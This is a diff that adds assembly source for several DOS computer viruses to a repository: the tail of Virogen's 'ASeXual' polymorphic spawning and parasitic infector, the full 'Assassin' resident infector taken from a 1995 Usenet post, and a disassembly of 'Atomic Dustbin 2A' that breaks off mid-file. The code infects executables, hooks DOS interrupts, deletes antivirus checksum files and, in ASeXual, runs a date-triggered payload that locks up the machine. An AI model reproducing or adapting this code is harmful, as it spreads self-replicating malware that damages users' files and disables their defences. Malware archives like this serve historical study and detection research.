; Spawning infection + + org 100h ; Leave room for PSP + +start: +; +; Encryption/Decryption routine location +; +fill_space : +shit_space db 6 dup(0) ; help to keep TBAV warnings down +address_fill: jmp non_res ; only in original compilation + db 17 dup(0) ; MOV DI|SI placed here +encrypt: ; For call from memory +cx_fill db 20 dup(0) ; MOV CX,XXXX placed here +xor_inc_space db 100 dup(0) ; XOR and INC DI|SI(2) placed here +loop_fill db 10 dup(0) ; LOOP Placed Here +enc_data: +ret_byte dw 9090h ; Changes to RET (0C3h) - then back to NOP + +jmp non_res ; jump to nonresident code + +; +; INT 21h - DOS function calls +; + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no ; nope.. + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 ; end our involvment + no: + cmp ah,0Eh ; select disk? + je run_res ; yes.. let's infect + cmp ax,4b00h ; exec func? + jne end_21 ; nope.. don't infect shit + + exec_func: + cmp ch,0FBh ; Is our virus executing this prog? + je end_21 ; yes, return to orginal INT 21h + run_res: + pushf ; Push flags + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs ; ds=cs + pop ds + + mov ah,2fh ; Get DTA Address + int 21h ; + + mov ax,es ; Save it so we can restore it + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs ; es=cs + pop es + + call encrypt_mem ; decrypt virus in memory + call resident ; Call infection kernal + call encrypt_mem ; encrypt virus in memory + + mov dx,word ptr old_dta ; restore DTA + mov ax,word ptr old_dta+2 ; + mov ds,ax ; + mov ah,1ah ; + int 21h ; + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h +new21 endp ; End of handler + +; +; Encrypt/Decrypt - For memory encryption +; +encrypt_mem proc + lea di,memory_encrypted + mov cx,(offset vend-offset memory_encrypted)/2 + mem_xor_loop: + db 81h,35h ; XOR word ptr [DI], + xor_mem dw 0 ; XXXX : 0-5999 + inc di ; increment pointer + inc di ; increment pointer + loop mem_xor_loop ; loop.. + ret ; return +encrypt_mem endp +memory_encrypted: ; start encryption in memory here.. +; +; INT 24h - Critical Error Handler +; +eh proc + mov al,3 ; fail call + iret ; interrupt return +eh endp +; +; Clear ff/fn buf +; +clear_buf proc + mov word ptr fcb,0 ; Clear ff/fn buffer + lea si, fcb + lea di, fcb+2 + mov cx, 22 + cld + rep movsw + ret +clear_buf endp +; +; Findfirst +; +ff_func proc + + call clear_buf ; Clear FCB + + mov ah, 4eh ; Findfirst + xor cx, cx ; Set normal file attribute search + mov dx, fname_off + int 21h + + ret +ff_func endp +; +; Findnext +; +fn_func proc + + mov ah,4fh ; find next file + int 21h ; + + ret +fn_func endp +; +; Fills encryption/decryption routine +; +; call with DX=word to fill with +; +clear_encryptor proc + + mov cx,78 ; 156 bytes + lea si,fill_space ; beginning of null space + fill_loop: + mov [si],dx ; fill null bytes with same op + inc si ; + inc si ; + loop fill_loop ; + + ret +clear_encryptor endp +; +; Resident - This is called from our INT 21h handler +; +resident proc + + xor ax,ax ; es=segment 0 + mov es,ax ; .. + mov ax,es:[24h*4+2] ; get segment of INT 24h + mov bx,es:[24h*4] ; get offset of INT 24h + mov old_eh_seg,ax ; save segment + mov old_eh_off,bx ; save offset + cli ; turn off interrupts + mov es:[24h*4+2],ds ; set segment to our handler + lea ax,eh ; + mov es:[24h*4],ax ; set offset to our handler + sti + + push ds ; es=ds + pop es + + ; Set DTA address - This is for the + mov ah, 1ah ; findfirst/findnext functions + lea dx, fcb + int 21h + + mov byte ptr vtype,spawn ; infection type = spawning + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset spec ; Set search for CHKLIST.* + mov word ptr mov_di,offset enc_data ; offset past encrypt. + + cont_res: +; +; KIll chklist.* (MSAV,CPAV) and anti-vir.* (TBAV) files +; + xor cx,cx ; keep track of which we've killed + kill_another_spec: + push cx + + call ff_func ; find first + + jc done_kill ; none found.. done + kill_loop: + mov ax,4301h ; Set file attributes to null + xor cx,cx ; + lea dx,f_name ; + int 21h ; + + mov ah,3ch ; create file = nullify size + xor cx,cx ; + lea dx,f_name ; + int 21h ; + push ax ; get handle + pop bx ; + + mov ah,3eh ; close file + int 21h ; + + mov ah,41h ; delete the file to finish 'er off + lea dx,f_name ; + int 21h ; + call fn_func + jnc kill_loop ; if more then kill 'em + + done_kill: + pop cx ; restore spec counter + inc cx ; increment spec counter + mov fname_off,offset spec2 ; new file spec to kill + cmp cx,2 ; have we already killed both? + jne kill_another_spec ; nope.. kell 'em + + mov fname_off,offset fname1 + find_first: + call ff_func ; findfirst + + jnc next_loop ; if still finding files then loop + jmp exit ; if not.. then end this infection + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h ; get directory for + xor dl,dl ; ..spawning infections + lea si,file_dir ; + int 21h ; + + cmp word ptr f_sizel,0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx ; + lm3 : ; find end of directory name + inc bx ; + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,f_name + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + loop_me: ; search for filename ext. + inc bx + cmp byte ptr fcb+1eh [bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr fcb+1eh [bx],'OC' + mov byte ptr fcb+1eh [bx+2],'M' + start_inf: +; +; Change jump & fill space register +; + + cmp byte ptr new_code, 0BFh + jne inc_both + mov nop_sub, 3fh + mov byte ptr new_code, 0B7h + mov byte ptr push_reg, 4Fh +inc_both: + inc nop_sub ; increment register + inc byte ptr new_code ; increment register + inc byte ptr push_reg ; increment register + + cmp nop_sub, 044h ; don't use SP + je inc_both +done_change_jmp: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +; +; Spawning infection +; + + mov word ptr new_code+1,offset fill_space + + lea dx,f_name + mov cx, 02h ; read-only + or cx, 01h ; hidden + mov ah, 3ch ; Create file + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + inc inf_count + mov bx,ax + + jmp encrypt_ops +; +; Parastic infection +; + parastic_inf : + + + lea si,f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + mov ax,3d02h ; Open file for reading & writing + lea dx,f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + mov bx,ax ; get handle + + mov ah,3fh ; Read first bytes of file + mov cx,07 + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes+4,0C3h ; already infected? + jne cont_inf ; nope let's infect this sucker + + mov ah,3eh + int 21h + jmp no_infect + + cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h ; set file pointer to beginning + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr f_sizeh ; save new address for parastic + add ax,offset fill_space ; + mov word ptr new_code+1,ax ; + + mov ah,40h ; write new first 7 bytes + mov cx,7 ; .. jumps to virus code + lea dx,new_code ; + int 21h ; + + mov ax,4202h ; Set file pointer to end of file + xor cx,cx ; + xor dx,dx ; + int 21h + +; +; Change encryptions ops +; +encrypt_ops: + push bx ; save file handle + + cmp pad_bytes,100h ; no more increase in file size? + je reset_pad ; if yes, reset + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr ; make note of the increase + jmp pad_ok ; don't reset pad + reset_pad: + mov word ptr pad_bytes,0 ; reset pad size + sub word ptr b_wr,100h ; make note of decrease + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 ; jmp-change ops to SI + dec inc_op ; .. change code to use DI + dec byte ptr xor_op+1 ; + dec di_op ; + dec byte ptr enc_addr ; + dec byte ptr enc_add+1 ; + jmp chg_three ; + set2: + inc inc_op ; increment code to use SI + inc byte ptr xor_op+1 ; + inc di_op ; + inc byte ptr enc_addr ; + inc byte ptr enc_add+1 ; + + chg_three: + mov dh,byte ptr nop_sub ; which byte did we use to fill space? + cmp dh,48h ; if INC AX then we need to reset it + jne _change ; else decrement it + mov dh,40h ; reset to DEC AX + _change: + cmp dh,41h ; Don't use INC CX.. + jne no_conflict ; + mov dh,48h ; Change it to DEC AX instead + no_conflict: + cmp dh,47h ; Don't use INC DI + jne no_conflict2 ; + mov dh,4Bh ; Use DEC BX Instead + no_conflict2: + cmp dh,46h ; Don't use INC SI + jne no_conflict3 + mov dh,0FBh ; Use STI instead + no_conflict3: + mov dl,dh ; mov into word reg dx + + call clear_encryptor ; fill encryption routine with op + + mov ah,inc_op ; get register to increment + mov bx,change_num ; get current rotate count + cmp bh,0 ; are we at the end of the INCs? + jne no_reset_change ; nope.. continue + mov bh,99 ; reset INC #1 position + xor bl,bl ; reset INC #2 position + no_reset_change: + inc bl ; Increment INC #2 position + dec bh ; Decrement INC #1 position + mov cl,bl ; store position in CL to add + xor ch,ch ; high byte = 0 + lea si,xor_inc_space ; + push si ; save address + push si ; save it twice + add si,cx ; add INC #2 position to SI + mov byte ptr [si],ah ; move INC #2 into address + pop si ; restore address of fill_space + mov cl,bh ; store position in CL to add + xor ch,ch ; high byte = 0 + add si,cx ; add INC #1 position to SI + mov byte ptr [si],ah ; move INC #1 into address + mov change_num,bx ; store updated rotation number + + pop si ; get xor_inc_space address + mov ax,xor_pos ; get old position of XOR + cmp ax,95 ; is it at the end of the buffer? + jne xor_ok ; nope.. increment its position + mov ax,10 ; reset position to buffer+10 + xor_ok: + inc ax ; increment position pointer + add si,ax ; build pointer + mov dx,word ptr xor_op ; get XOR op + mov [si],dx ; place it into position + mov xor_pos,ax ; save new XOR location + + mov ax,addr_pos ; get old position of MOV DI|SI + cmp ax,17 ; at end of buffer? + jne addr_inc ; nope.. go increment + xor ax,ax ; yes.. reset to null + addr_inc: + inc ax ; increment pointer + lea di,address_fill ; get buffer address + add di,ax ; build pointer + lea si,di_op ; get address of op + mov cx,3 ; 3 bytes + rep movsb ; copy op to location in buffer + mov addr_pos,ax ; save new MOV DI|SI position + + mov ax,cx_pos ; get old position of MOV CX + cmp ax,0 ; back to beginning of buffer? + jne cx_dec ; nope.. decrement location + mov ax,17 ; reset to last position in buffer + cx_dec: + dec ax ; decrement pointer + lea di,cx_fill ; get address of buffer + add di,ax ; build pointer to new location + lea si,cx_op ; get address of MOV CX op + mov cx,3 ; 3 bytes length + rep movsb ; copy to new location + mov cx_pos,ax ; save new position of MOV CX + + mov ax,loop_pos ; get old position of LOOP + cmp ax,0 ; at beginning of buffer? + jne loop_inc ; nope decrement + mov ax,8 ; reset to end of buffer + loop_inc: + dec ax ; decrement pointer + lea di,loop_fill ; get address of buffer + add di,ax ; build pointer + mov dl,0E2h ; 0E2XX=LOOP XXXX + xor ch,ch ; high byte=null + mov cl,9Ah ; calculate LOOP offset + sub cx,ax ; + mov dh,cl ; save new offset + mov [di],dx ; write LOOP op + mov loop_pos,ax ; save new position of LOOP + +; +; Get random XOR number, save it, copy virus, encrypt code +; + d2: + mov ah,2ch ; + int 21h ; Get random number from clock - sec/ms + lea si,xor_inc_space+2 ; build pointer to XOR location+2 + add si,xor_pos ; + mov word ptr [si],dx ; save encryption # + push dx + mov word ptr xor_mem,0000 + + mov si,0100h ; 100h=start of virus in memory + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + pop dx + mov word ptr xor_mem,dx + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+50 ; offset of new copy of virus + go_enc: + mov byte ptr ret_byte,0c3h ; make encryption routine RET + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h ; Reset it to no RETurn +; +; Write and close new infected file +; + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr f_time ; time from FCB + mov dx,word ptr f_date ; date from FCB + int 21h + + + close: + mov ah, 3eh ; close file + int 21h + + no_infect: + find_file: + + cmp inf_count, max_inf ; Max files found? + je exit ; yes, end infection + call fn_func + jc exit ; if no files found.. quit + jmp next_loop ; infect the next file + + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done ; nope.. we're done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done ; yep, exit already + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first ; do it again for parastic + + + find_done: + xor ax,ax + mov es,ax ; es = 0 + cli ; interrupts off + mov ax,old_eh_seg ; get old int 24h segment + mov bx,old_eh_off ; get old int 24h offset + mov es:[24h*4+2],ax ; restore int 24h segment + mov es:[24h*4],bx ; restore int 24h offsetn + sti ; interrupts on + + xor dx,dx ; fill encryption routine with 0 + call clear_encryptor ; .. maybe help lessen IDed in memory? + + ret ; return +resident endp + +; +; Non-Resident portion of virus +; +non_res proc + + db 0bdh ; MOV BP,xxxx - Load delta offset +set_bp: dw 0000 + + mov ax,ds: 002ch ; Get environment address + mov par_blk[bp],ax ; Save in parameter block for exec + + mov par1[bp],cs ; Save segments for spawn + mov par2[bp],cs + mov par_seg[bp],cs + + mov ah,2ah ; Get date + int 21h + + cmp dl,2 ; 2nd? + jne no_display ; nope.. don't activate today + + show_myself: + mov ah,09 ; display virus name + lea dx,v_id[bp] + int 21h + + xor ax,ax ; seg 0 + mov es,ax + mov dx,1010101010101010b ; lights + chg_lights: ; Infinite loop to change keyboard + mov word ptr es: [416h],dx ; 0040:0016h = keyb flags + ror dx,1 ; rotate bits + mov cx,0101h ; scan code/ascii + mov ah,05h ; push a beep onto keyb buf + int 16h + mov ah,10h ; Read key back so we don't fill + int 16h ; up the keyboard buffer + int 5h ; Print-Screen + mov ax,0a07h ; Write BEEP to screen + xor bh,bh + mov cx,1 + int 10h + mov ah,86h ; Delay + mov cx,0002h + int 15h + + jmp chg_lights + + no_display: +; +; INSTALL - Install the virus in memory +; + mov ah,signal ; is virus already in mem? + int 21h + cmp ah,reply ; + jne cont_i ; nope.. continue + jmp no_install ; yes.. don't install again + cont_i: + + mov ax,cs + dec ax + mov ds,ax + cmp byte ptr ds: [0],'Z' ;Is this the last MCB in + ;the chain? + jne no_install + cont_i2: + + mov ax,ds: [3] ;Block size in MCB + sub ax,230 ;Shrink Block Size-quick estimate + mov ds: [3],ax + + mov bx,ax + mov ax,es + add ax,bx + mov es,ax ;Find high memory seg + + mov si,bp + add si,0100h + mov cx,(offset vend - offset start)/2 + mov ax,ds + inc ax + mov ds,ax + mov di,100h ; New location in high memory + cld + rep movsw ; Copy virus to high memory + + push es ; ds=es + pop ds + xor ax,ax + mov es,ax ; null es + mov ax,es: [21h*4+2] ; store old int addresses + mov bx,es: [21h*4] + mov ds: old21_seg,ax + mov ds: old21_ofs,bx + + cli ; disable interrrupts + + mov es: [21h*4+2],ds ; Set new addresses + lea ax, new21 + mov es: [21h*4],ax + + sti ; re-enable interrupts + + no_install: + push cs ; Restore segment regs + pop ds + push cs + pop es + + cmp byte ptr vtype[bp],parastic ; parastic infection? + je com_return ; yes, return to start of COM + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0FBh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + mov si,bp ; + mov cx,7 ; Restore original first + add si,offset org_bytes ; seven bytes of COM file + mov di,0100h ; + cld ; + rep movsb ; + + mov ax,0100h ; Jump back to 100h - start of + push ax ; original program + ret ; + +non_res endp + +vtype db spawn ; Infection type +com_name db 'COMMAND.COM' ; obvious +org_bytes db 7 dup(0) ; original first seven bytes of parastic inf. +pad_bytes dw 0 ; Increase in virus size +inc_op db 47h ; INC DI (47h) or INC SI (46h) +nop_sub db 40h ; fill byte +copyr db '(c)1993 - Virogen' ; I must allow myself to be prosecuted +v_id db 0ah,0dh,'ASeXual Virus V0.99 - Your computer has been artificially Phucked!$' +spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill +spec2 db 'ANTI-VIR.*',0 ; TBAV Checksum kill +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +change_num dw 1030 ; keep track of position of INC DI|SI +addr_pos dw 0 ; relative location of MOV DI|SI +cx_pos dw 17 ; relative location of MOV CX +xor_pos dw 10 ; relative location of XOR +loop_pos dw 0 ; relative location of LOOP +xor_op db 81h,35h ; XOR word ptr [DI|SI],XXXX +di_op db 0Bfh ; MOV DI|SI, +mov_di dw 0 ; XXXX +cx_op db 0b9h ; MOV CX +b_wr dw (offset vend-offset enc_data)+2 ; don't divide this by two +new_code db 0B9h ; MOV NN, + dw 0000 ; XXXX +push_reg db 51h ; PUSH NN + db 0C3h ; RET - jump to NN +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; + +vend: ; End of virus + +; +; heap - not written to disk +; +fname_off dw fname1 ; Offset of Filespec to use +old_dta dd 0 ; Old DTA Segment:Address +old_eh_seg dw 0 ; old error handler (int 24h) seg +old_eh_off dw 0 ; old error handler (int 24h) ofs +inf_count db 0 ; How many files we have infected this run +fcb db 21 dup(0) ; fcb + attrib db 0 ; file attribute + f_time dw 0 ; file time + f_date dw 0 ; file date + f_sizeh dw 0 ; file size + f_sizel dw 0 ; + f_name db 13 dup(0) ; file name + + +cseg ends + end start diff --git a/a/ASSASSIN.ASM b/a/ASSASSIN.ASM new file mode 100755 index 0000000..85c69a4 --- /dev/null +++ b/a/ASSASSIN.ASM @@ -0,0 +1,553 @@ +From netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp Sat Jan 14 12:10:08 1995 +Xref: netcom.com alt.comp.virus:961 +Path: netcom.com!ix.netcom.com!howland.reston.ans.net!cs.utexas.edu!utnut!torn!uunet.ca!uunet.ca!io.org!grin.io.org!scottjp +From: scottjp@grin.io.org (h0m3r s3xu4l) +Newsgroups: alt.comp.virus +Subject: Assassin source code +Date: 9 Jan 1995 21:10:06 GMT +Organization: Internex Online, Toronto, Ontario, Canada (416 363 3783) +Lines: 539 +Message-ID: <3es8ne$c9i@ionews.io.org> +NNTP-Posting-Host: grin.io.org +X-Newsreader: TIN [version 1.2 PL2] + + +; Assassin (Bug Fix version) +; by Dark Slayer + +mem_size equ offset memory_end-offset start +mem_para equ (mem_size+0fh)/10h +low_mem_size equ mem_size+100h +low_mem_para equ (low_mem_size+0fh)/10h +vir_size equ offset vir_end-offset start +vir_sector equ (vir_size+1ffh+2)/200h +constant_size equ offset constant-offset start + + .model tiny + .code + org 0 +start: + xor di,di + mov dx,ds:[di+2] + sub dh,5 + + mov ah,26h + int 21h + + mov bp,ds:[di+2ch] + + mov ah,4ah + mov bx,low_mem_para + int 21h + + mov ah,52h + int 21h + mov bx,es:[bx-2] + mov ax,cs + dec ax +mcb: + mov cx,ds + mov ds,bx + inc bx + mov dx,bx + add bx,ds:[di+3] + or bp,bp + jnz not_boot + cmp ax,bx + jne not_our_mcb + add word ptr ds:[di+3],low_mem_para+1 +not_our_mcb: + cmp ax,cx + jne not_boot + mov ds:[di+1],dx + mov di,8 + push ds + pop es + mov si,di + mov ds,ax + mov cx,di + rep movsb + push dx + add ax,10h+1 + push ax + jmp short search +not_boot: + cmp byte ptr ds:[di],4dh + je mcb + cmp byte ptr ds:[di],5ah + je mcb + mov sp,low_mem_size + sub dx,mem_para+1 + mov es,dx + sub dx,cx + dec dx + mov ds,cx + mov ds:[di+3],dx + mov si,100h + mov cx,vir_size + rep movs byte ptr es:[di],cs:[si] + + push es +search: + mov ax,352ah + int 21h + pop ds + push ds + mov di,offset i21_table + mov ds:old2a[di]-i21_table,bx + mov ds:old2a[di+2]-i21_table,es + mov ah,25h + mov dx,offset int2a + int 21h + mov dx,bx + push es + pop ds + int 21h + pop es + lds si,es:[di] +search_table: + lodsw +search_table_: + dec si + cmp ax,8b2eh + jne search_table + lodsw + cmp ah,9fh + jne search_table_ + movsw + scasw + lea ax,[si-1e0h] + stosw + xchg si,ax + mov word ptr ds:[si],0eacbh + mov word ptr ds:[si+2],offset i21_3e + mov ds:[si+4],es + mov byte ptr ds:[si+6],0eah + mov word ptr ds:[si+7],offset i21_3f + mov ds:[si+9],es + call set21 + + mov cx,bp + jcxz boot + mov ds,bp + xor si,si +l2: + lodsw + dec si + or ax,ax + jnz l2 + lea dx,[si+3] + mov di,offset pcb+4+100h + push cs + pop es + mov ax,cs + stosw + scasw + stosw + scasw + stosw + mov ax,4b00h + mov bx,offset pcb+100h + int 21h + mov ah,4dh + int 21h + mov ah,4ch + int 21h + +boot: + pop dx + mov ah,26h + int 21h + mov bl,3 + mov ss:[bp+18h+5],bl + mov ax,1216h + int 2fh + inc bp + mov es:[di],bp + mov ss,dx + mov ds,dx + mov ax,4200h + mov bl,5 + cwd + int 21h + mov ah,3fh + dec cx + inc dh + int 21h + mov ah,3eh + int 21h + push ds + pop es + push ds + push dx + retf + +read_cmp proc + mov cx,vir_size + mov dx,cx + push cs + pop ds + call read + jc rc_exit + push cx + xor si,si +if (vir_size and 0ff00h) eq (constant_size and 0ff00h) + mov cl,constant_size and 0ffh +else + mov cx,constant_size +endif +compare: + lodsb + cmp al,ds:read_buffer[si-1] + loope compare + clc + pop cx +rc_exit: + ret +read_cmp endp + +read proc + push bx + push dx + push ds + mov ax,1229h + int 2fh + pop ds + pop dx + pop bx + ret +read endp + +write proc + mov bp,40h*2 +i21_func proc + pop ax + push bx + push cs + push ax + push cs + pop ds + push ds:i21_far_jmp + les di,dword ptr ds:i21_table + push es + push es:[di+bp] + retf +i21_func endp +write endp + +set2324_restore21 proc + push ds + mov si,23h*4 + xor ax,ax + mov ds,ax + mov di,offset old23 + push cs + pop es + mov ax,offset int23 + mov bp,2 +sm_23_1: + movsw + mov ds:[si-2],ax + movsw + mov ds:[si-2],cs +if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h) + mov al,(offset int24-offset start) and 0ffh +else + mov ax,offset int24 +endif + dec bp + jnz sm_23_1 + mov si,di + push cs + pop ds + mov bp,-4 +rs_1: + inc bp + inc bp + les di,dword ptr ds:i21_table + mov di,es:[di+bp+2+3eh*2] + movsb + movsw + jnz rs_1 + pop ds + + pop bp + pop ax + push es + push ax + +get_sft proc + push bx + mov ax,1220h + int 2fh + mov bl,es:[di] + mov ax,1216h + int 2fh + pop bx + jmp bp +get_sft endp +set2324_restore21 endp + +set21_restore23 proc + mov si,offset old23 + push cs + pop ds + mov di,23h*4 + xor cx,cx + mov es,cx + mov cl,4 + rep movsw + push cs + pop es + +set21 proc ; es = vir segment + push ax + mov bx,-4 + mov di,offset i21_3e_data + mov cx,es:i21_far_jmp[di]-i21_3e_data + inc cx +sm_1: + inc bx + lds si,dword ptr es:i21_table + mov ax,ds:[si+bx+3+3eh*2] + mov si,ax + movsb + movsw + xchg si,ax + sub ax,cx + neg ax + mov byte ptr ds:[si],0e9h + mov ds:[si+1],ax + add cx,5 + inc bx + jnz sm_1 + pop ax + ret +set21 endp +set21_restore23 endp + +i21_3e: + call set2324_restore21 + jc jc_exit + push es + pop ds + cmp word ptr ds:[di],1 + jne jne_exit + les ax,dword ptr ds:[di+28h] + mov dx,es + cmp ax,'OC' + jne exe + mov al,'M' + jmp short com +exe: + cmp ax,'XE' + jne jne_exit +com: + cmp dl,al +jne_exit: + jne jne_exit_ + les ax,dword ptr ds:[di+11h] + cmp ax,vir_size +jc_exit: + jb jc_exit_ + cmp ax,0ffffh-(vir_size+2) + ja jne_exit_ + mov dx,es + or dx,dx +jne_exit_: + jnz i21_3e_exit + mov ds:[di+15h],dx + mov ds:[di+17h],dx + les si,dword ptr ds:[di+7] + les si,dword ptr es:[si+2] + add ax,si + dec ax + div si + mov cx,es + inc cx + div cl + or ah,ah + jz i21_3e_exit + sub cl,ah + cmp cl,vir_sector +jc_exit_: + jb i21_3e_exit + les ax,ds:[di+4] + push ax + push es + and ax,1000000000011100b + jnz close_ + mov byte ptr ds:[di+2],2 + mov ds:[di+4],al + + call read_cmp + jbe close + + mov si,cx +cmp_device: + dec si + lodsw + inc ax + loopnz cmp_device + jcxz not_device + dec ax + cmp ax,ds:[si] + je close + jmp short cmp_device +not_device: + mov ax,es:[di+11h] + mov es:[di+15h],ax + + mov cx,vir_size+2 + mov dx,offset id + call write + pop bx + jc close + sub es:[di+11h],ax + dec cx + dec cx + cwd + mov es:[di+15h],dx + call write + pop bx +close: + push es + pop ds +close_: + pop ds:[di+6] + pop ds:[di+4] + mov bp,0dh*2 + call i21_func + pop bx +i21_3e_exit: + mov ax,1227h + int 2fh + jmp i21_3f_exit + +i21_3f: + call set2324_restore21 + + les ax,dword ptr es:[di+15h] + push ax + push es + call read + pop bp + pop si + cmc + jnc jnc_exit + test word ptr es:[di+4],1000000000011000b + jnz jnz_3f_exit + or bp,bp +jnz_3f_exit: + jnz i21_3f_exit + sub si,vir_size +jnc_exit: + jae i21_3f_exit + xor cx,cx + xchg cx,es:[di+15h] + push cx + xor cx,cx + xchg cx,es:[di+17h] + push cx + push ax + push si + + push dx + push ds + call read_cmp + pop ds + pop dx + jc i21_3f_exit_1 + jne i21_3f_exit_1 + + push dx + push ds + + push es + pop ds + mov ax,ds:[di+11h] + mov ds:[di+15h],ax + add word ptr ds:[di+11h],vir_size+2 + + mov cl,2 + mov dx,offset read_buffer + push cs + pop ds + call read + pop ds + pop dx + jc i21_3f_exit_2 + cmp word ptr cs:read_buffer,'SD' + je i21_3f_l0 + mov ax,1218h + int 2fh + or byte ptr ds:[si+16h],1 + jmp short i21_3f_exit_2 +i21_3f_l0: + pop si + neg si + mov ax,es:[di+11h] + sub ax,si + mov es:[di+15h],ax + pop cx + push cx + push cx + cmp cx,si + jb i21_3f_l1 + mov cx,si +i21_3f_l1: + call read +i21_3f_exit_2: + sub word ptr es:[di+11h],vir_size+2 +i21_3f_exit_1: + pop ax + pop ax + pop es:[di+17h] + pop es:[di+15h] +i21_3f_exit: + call set21_restore23 + push ax + mov ax,1218h + int 2fh + mov ax,ds:[si+16h] + shr ax,1 + pop ax + mov ds:[si],ax + retf + +int23: + call set21_restore23 + jmp dword ptr cs:old23 + +int24: + xor ax,ax + iret +int2a: + pop cs:i21_table + pop cs:i21_table[2] + sub sp,4 + jmp dword ptr cs:old2a + +msg db ' This is [Assassin] written by Dark Slayer ' + db 'in Keelung. Taiwan ' + +constant: + +pcb dw 0,80h,?,5ch,?,6ch,? +id db 'DS' +vir_end: + +read_buffer db vir_size dup(?) + +old2a dw ?,? +old23 dw ?,? +old24 dw ?,? +i21_3e_data db 3 dup(?) +i21_3f_data db 3 dup(?) +i21_table dw ?,? +i21_far_jmp dw ? + +memory_end: + end start + + diff --git a/a/ATOMC350.ASM b/a/ATOMC350.ASM new file mode 100755 index 0000000..02c5134 --- /dev/null +++ b/a/ATOMC350.ASM @@ -0,0 +1,162 @@ +;Disassembly of the Atomic Dustbin 2A virus by Memory Lapse. + +;For a byte-to-byte matchup, assemble with TASM /M2. + + .model tiny + + .code + + org 100h + +start: + db 0e9h, 02, 00 ;JMP NEAR PTR STARTVIRUS + + db 'ML' ;Virus signature. +startvirus: + call get_relative +get_relative: + pop bp + sub bp,offset get_relative + + lea si,[bp+restore_bytes] + + mov di,100h + push di + movsw + movsw + movsb ;Restore start of host. + mov ah,4Eh + lea dx,[bp+filemask] + int 21h ;Find first. + + jc quit_virus + + call try_infect + +loc_2: + mov ah,4Fh + int 21h ;Find next. + + jc quit_virus + call try_infect + jmp quit_virus + + nop + mov ah,09 + lea dx, [bp+message] + int 21h + int 20h + +quit_virus: + mov bp, 100h + jmp bp ;Restart host. + +try_infect: + mov ax,3D02h + mov dx,9eh ;Offset of filename in DTA. + int 21h ;Try to open file in read/write + ;mode. + + ;No error checking!! + + xchg bx,ax ;Handle more useful in BX. + + mov ax,4200h + xor cx,cx + xor dx,dx ;CWD! + int 21h ;Seek to start, but filepos + ;is already equal to BOF. + + mov ah,3Fh + mov cx,5 + lea dx,[bp+restore_bytes] ;Read five bytes. + int 21h + + cmp word ptr cs:[bp+restore_bytes+3],'LM' + je loc_2 + mov ax,5700h + int 21h ;Get file date/time + + push cx + push dx ;Save it. + mov ax,4202h + xor cx,cx + xor dx,dx ;CWD! + int 21h ;Seek to EOF. + + push bx + + sub ax,3 + lea bx,[bp+jmpdata] + mov [bx],ax ;JMP constructed. + pop bx + mov ah,40h + mov cx,(endvirus-startvirus) + lea dx,[bp+startvirus] + int 21h ;Attach virus to new host. + + mov ax,4200h + xor cx,cx + xor dx,dx ;CWD! + int 21h ;Back to bof. + + mov ah,40h + mov cx,1 + lea 